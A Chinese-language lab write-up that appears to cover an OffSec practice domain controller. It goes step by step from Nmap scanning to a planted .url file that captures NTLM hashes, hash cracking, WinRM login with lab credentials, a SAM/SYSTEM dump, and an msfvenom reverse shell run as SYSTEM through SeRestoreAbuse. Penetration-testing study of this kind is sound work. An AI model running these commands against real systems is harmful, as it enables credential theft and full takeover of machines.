我一開始用 Nmap 全端口快速掃描並套用預設 script 與版本偵測:
sudo nmap -Pn -n $IP -sC -sV -p- --open
輸出顯示大量服務,這是一台 Domain Controller(由 53, 88, 389, 3268 等可辨識)。Nmap 範例輸出(節選):
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vault.offsec0.)
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
...
進行 UDP 掃描(只看前 100 個常見 UDP 端口):
sudo nmap -Pn -n $IP -sU --top-ports=100 --reason
把主機名稱加入 /etc/hosts 以便後續使用域名。
各端口筆記
53 (DNS):無顯著利用點。
88 (Kerberos):可嘗試列舉使用者,但屬 Hail Mary。
135 (RPC):常見服務。
389 / 3268 (LDAP):可能可搜尋 LDAP,但沒憑證時無法讀取。
139/445 (SMB):列舉後發現有名為 DocumentsShare 的 share。用 smbclient 能連上但內容空。嘗試上傳文件測試寫入權限後可成功上傳。
取得初始進入點(SMB + NTLM 捕獲)
在可寫的 SMB share 上放置一個惡意 .url(Internet Shortcut)檔,利用 Windows 會在呈現 icon 時去取用遠端路徑,觸發 NTLMv2 驗證向攻擊者主機回傳 hash。操作概要:
建立 Evil.url:
[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\<你的 tun0 IP>\%USERNAME%.icon
IconIndex=1
在自己機器上啟動 Responder:
sudo responder -I tun0 -wv
把 Evil.url 放到 SMB share。
監看 Responder 捕獲到的 NTLMv2 hash,將其存檔並用 John 攻破:
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 hash.txt
破出後得到 anirudh:SecureHM。
後續登入(WinRM / RDP)
嘗試用 RDP 登入失敗,但 WinRM 成功:
crackmapexec winrm $IP -u anirudh -p SecureHM
evil-winrm -i $IP -u anirudh -p "SecureHM"
進入後檢查權限。該帳號擁有多個重要權限,例如 SeBackupPrivilege、SeRestorePrivilege、SeMachineAccountPrivilege。
機密擷取(SeBackupPrivilege)
利用 SeBackupPrivilege 將註冊表中的 SAM 與 SYSTEM 匯出,下載後用 impacket-secretsdump 取得本機帳號 hash:
reg save hklm\sam C:\users\anirudh\sam.hive
reg save hklm\system C:\users\anirudh\system.hive
下載後在攻擊者機器:
impacket-secretsdump -system system.hive -sam sam.hive LOCAL
嘗試傳遞 hash (pass-the-hash) 嘗試成為 Administrator,但在該機上失敗(或本地管理員被限制遠端登入)。
利用 SeRestorePrivilege 提權(成功路徑)
搜尋到 SeRestoreAbuse.exe(GitHub 上的工具),原理是利用還原/恢復權限覆寫系統檔或建立能以 SYSTEM 身份執行的惡意二進制。步驟概要:
用 msfvenom 生成反向 shell exe:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<你的 tun0 IP> LPORT=80 -f exe -o reverse.exe
上傳 reverse.exe 與 SeRestoreAbuse.exe 到目標。
在目標上以絕對路徑執行 SeRestoreAbuse.exe 指向 reverse.exe,觸發還原/覆寫來執行 payload。
在攻擊者端監聽,取得 SYSTEM 權限 shell。